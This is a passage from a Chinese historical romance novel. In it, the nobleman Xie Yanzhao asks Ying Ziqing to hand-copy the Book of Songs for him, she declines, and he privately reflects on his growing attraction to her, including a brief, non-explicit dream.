“我要的不是那些,”谢言昭摇头,“如果我说,我想让你为我抄写诗经,如何?”
互赠亲手抄写的诗集,可谓风雅至极。可是,这是书法极佳的才子们之间,独有的雅事。若有仕女将亲手抄写的诗集,赠予文人雅士,这等暧昧浪漫的事,定会传为佳话,在坊间流传不息。
应子清不清楚其间的故事,但她对自己的笔墨,还是有数的。把她狗爬字,送给传闻中大书法家谢言昭当谢礼,她多少有些不好意思。
应子清咳了声:“还是算了吧,我的字,你不是点评过不好看吗?”
“……”谢言昭想起,是他是说过类似的话,“没有不好看,也是会让人见之忘俗的……”
刘之衍几乎与她形影不离,之前还因为谢言昭救她的事,发了一通脾气。若是看见她在抄写诗经,准备送给谢言昭,不知道他又会如何生气。
应子清本着不能惹毛刘之衍的心情,愣是顶着谢言昭期待的目光,狠心拒绝了:“你还是挑个贵点的礼物吧!”
她不愿意送笔墨给他,谢言昭眼神黯了下:“无妨,我只是玩笑。”
一阵夏日的风吹来,谢言昭闻到少女身上的香,与小衣上温柔的暖香,如出一辙。
近日,谢凝荷在后宅闹翻了天,又是绝食,又是差点剪了头发,着了魔般要入宫当宫女。他的亲妹妹,天天一口一个“子清姐姐”,在宫里如何如何。
他听这个女人的名字,实在太多。
谢言昭一向认为,女孩子该娇养在后宅,如同一朵甜美娇嫩的芙蓉,不受风吹雨打。少女仪态端庄,气韵温婉,方是大家闺秀的模样。这种观念,于谢言昭是根生蒂固,他以为,天底下的女子合该如此。
却不想那夜,狼狈的少女,钻进他的马车。她受着伤,也没有哭哭啼啼,咬牙不喊痛的模样,有一种从骨子里透出来的坚韧之美。
谢言昭觉得她很漂亮,漂亮得惊心动魄,野火般,深深烙在他的眼里。
应子清完完全全颠覆了他对美的看法。
某日梦里,他梦回那辆逃命的马车。这次,谢言昭不再背对着她,而是转过身,将脱下小衣的应子清,揽进怀里,轻轻拥着。
她在剧烈奔跑后,雪白的肌肤,香得越发馥郁。他心跳得厉害,手却不由自主,抚上她裸露出来的肩。
晨起,谢言昭换下黏腻的亵衣。
自那时,他便知道,有一抹倔强的情愫,正在悄然生长。